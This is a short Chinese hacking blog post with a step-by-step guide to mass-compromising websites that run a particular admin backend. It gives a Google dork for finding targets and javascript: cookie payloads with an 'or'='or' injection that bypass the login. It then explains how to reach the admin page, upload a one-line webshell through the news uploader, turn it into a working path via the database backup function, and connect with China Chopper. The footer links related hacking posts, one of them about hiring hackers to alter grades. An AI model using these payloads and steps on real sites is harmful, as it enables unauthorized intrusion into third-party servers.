利用关键字后台批量拿shell

hacker5年前黑客文章1888

google:关键字:inurl:szwyadmin/login.asp

打开任意一个搜索结果,打开后台登录界面后,在地址栏中全部替换成下面代码:

javascript:alert(document.cookie=”adminuser=”+escape(“‘or’='or’”));javascript:alert(document.cookie=”adminpass=”+escape(“‘or’='or’”));javascript:alert(document.cookie=”admindj=”+escape(“1″));

如果以上的代码不能使用请下载:http://pan.baidu.com/s/11PuhB

然后关闭此页面
再次打开后台登录界面
在地址栏中把login.asp改为admin_index.asp
就直接进入后台了。

进入后台后在添加新闻的地方上传一句话后,复制链接地址:

szwyadmin

然后点击备份如下图:

20131022124743

然后点击备份数据,备份成功后得到地址:

20131022130809

拿起菜刀链接:

20131022125456

 

标签: 黑客技术

相关文章

tcpdumpthetrafficonanetwo

tcpdumpthetrafficonanetwo

介绍: tcpdump全名:dump the traffic on a network,依据使用人的界定对互联网上的数据文件开展捕获的包分析工具。 tcpdump能够将互联网中传输的数据文件的“头”...

找黑客修改成绩(黑客技术接单网站)

修改成绩怎么找黑客 1、黑客接单接单。修改成绩技术接单网站然后将这黑客个文件保存在安全的地方,这个文件中。黑客,接单黑客入侵和漏洞利用程序售卖的世界中充斥着叫卖程序编码的小贩,要花钱啊,的征途。Pro...

什么是IE秘狐漏洞?

秘狐行动:是一次瞄准美国公司的行动,与国防和金融行业有关。尚不清楚攻击组织的动机,解决这一问题的一种方式是改用其他浏览器。 2014年4月27日信息安全公司FireEye曝光了一个IE重大漏...

OpenSSL是完全免费的吗?

OpenSSL是完全免费的吗?

什么叫OpenSSL? 这不是严格意义上来说是一个“黑客工具”,只是一个新项目(称之为“OpenSSL新项目”),致力于将详细的商业服务解决方法融合给网络信息安全专业人员出示安裝安全性套接字层(SS...

专用工具完全免费使用方法

专用工具完全免费使用方法

什么叫openssh? OpenSSH是一个十分火爆的SSH网络信息安全专用工具,被数千万的互联网客户应用。一切n00b都能够对你说,像telnet,rlogin和ftp那样的协议书是不安全的。Op...

cURLCyber随意吗?

cURLCyber随意吗?

什么叫cURL Cyber? Curl是一个命令行工具,作为应用URL英语的语法传送数据的库。该专用工具适用多种多样协议书,包含但不限于:FILE,DICT,FTP,FTPS,HTTP,HTTPS,...